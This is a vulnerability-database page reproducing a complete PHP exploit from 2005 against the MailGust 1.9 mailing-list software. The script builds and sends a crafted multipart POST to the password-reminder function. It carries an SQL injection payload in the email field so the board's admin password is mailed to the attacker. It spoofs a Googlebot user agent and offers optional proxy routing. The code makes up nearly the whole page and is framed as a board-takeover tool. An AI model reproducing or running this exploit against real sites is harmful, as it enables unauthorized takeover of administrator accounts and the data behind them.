Lucene search
K

MailGust <= 1.9 (board takeover) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

MailGust 1.9 SQL Injection Exploit with HTTP Proxy Suppor

Code

                                                &#60;?php

#   mailgust_xpl.php                                                           #
#                                                                              #
#   MailGust 1.9  ( possibly prior versions) SQL Injection / board takeover    #
#   poc exploit with generic HTTP proxy support                                #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   send yourself a new admin password right now!                              #
#                                                                              #
#   Sun-Tzu: &#34;Hence to fight and conquer in all your battles is not supreme    #
#   excellence;  a supreme excellence consists in breaking the enemy&#39;s         #
#   resistance without  fighting.&#34;                                             #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);

echo&#39;&#60;head&#62;&#60;title&#62;M a i l G u s t  v.1.9  S Q L   I n j e c t i o n&#60;/title&#62;&#60;meta
http-equiv=&#34;Content-Type&#34;  content=&#34;text/html; charset=iso-8859-1&#34;&#62; &#60;style type=
&#34;text/css&#34;&#62; &#60;!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --&#62; &#60;/style&#62;&#60;/head&#62; &#60;body&#62; &#60;p class=&#34;Stile6&#34;&#62;     MailGust
V 1.9 (possibly prior versions) SQL Injection / board takeover&#60;/p&#62;&#60;p class=&#34;Stil
e6&#34;&#62;a script by rgod at &#60;a href=&#34;http://rgod.altervista.org&#34;    target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62; &#60;form
name=&#34;form1&#34;      method=&#34;post&#34;   action=&#34;&#39;.$SERVER[PHP_SELF].&#39;?path=value&host=
value&port=value&proxy=value&your_email=value&#34;&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;host&#34;
&#62;&#60;span class=&#34;Stile5&#34;&#62; hostname  (ex: www.sitename.com)  &#60;/span&#62; &#60;/p&#62; &#60;p&#62; &#60;input
type=&#34;text&#34; name=&#34;path&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; path ( ex: /mailgust/  or just / )
&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34;   name=&#34;port&#34; &#62;  &#60;span class=&#34;Stile5&#34;&#62;  specify
a  port  other  than  80  ( default value ) &#60;/span&#62; &#60;/p&#62; &#60;p&#62;  &#60;input type=&#34;text&#34;
name=&#34;your_email&#34;&#62; &#60;span  class=&#34;Stile5&#34;&#62; e-mail where MG will send the password
&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;proxy&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;send exploit
through an HTTP proxy (ip:port)&#60;/span&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;submit &#34;name=&#34;Submit&#34;
value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62;&#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}


$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;


function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy==&#39;&#39;)
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).&#39; -&#62; not a valid proxy...&#39;;
	     die;
	    }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo htmlentities($html);
}

function isemail($email)
   {
       $regex = &#39;^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]{2,})+$&#39;;
       if (eregi($regex, $email)) return true;
       else return false;
   }

if (($path&#60;&#62;&#39;&#39;) and ($host&#60;&#62;&#39;&#39;) and ($your_email&#60;&#62;&#39;&#39;))
{
  if ($port==&#39;&#39;) {$port=80;}

$your_email=trim($your_email);
if (!isemail($your_email))
{
 echo &#39;&#60;br&#62; I am not MailGust! You have to give me a valid e-mail...&#60;br&#62;&#60;br&#62;&#39;;
 die;
}

$sql=$your_email.&#34;,&#39;or&#39;a&#39;=&#39;a&#39;/*@fakedomainname.com&#34;; //wow it&#39;s a beautiful query ;)

$data=&#39;-----------------------------7d52b21b210554
Content-Disposition: form-data; name=&#34;method&#34;

remind_password
-----------------------------7d52b21b210554
Content-Disposition: form-data; name=&#34;list&#34;

maillistuser
-----------------------------7d52b21b210554
Content-Disposition: form-data; name=&#34;fromlist&#34;

maillist
-----------------------------7d52b21b210554
Content-Disposition: form-data; name=&#34;frommethod&#34;

showhtmllist
-----------------------------7d52b21b210554
Content-Disposition: form-data; name=&#34;email&#34;

&#39;.$sql.&#39;
-----------------------------7d52b21b210554
Content-Disposition: form-data; name=&#34;submit&#34;

Ok
-----------------------------7d52b21b210554--&#39;;
if ($proxy==&#39;&#39;)
{$packet=&#34;POST &#34;.$path.&#34;index.php HTTP/1.1\r\n&#34;;}
else
{$packet=&#34;POST http://&#34;.$host.$path.&#34;index.php HTTP/1.1\r\n&#34;;}
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;index.php?method=remind_password_form&list=maillistuser&fromlist=maillist&frommethod=showhtmllist\r\n&#34;;
$packet.=&#34;Accept-Language: en\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d52b21b210554\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Keep-Alive\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: globalUserId=1745493597; gustTimeOut=1\r\n\r\n&#34;;
$packet.=$data;
show($packet);
sendpacket($packet);
}
else
{
echo &#39;&#60;br&#62;Fill in requested fields, optionally specify a proxy...&#60;br&#62;&#60;br&#62;&#39;;
}
?&#62;

# milw0rm.com [2005-09-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11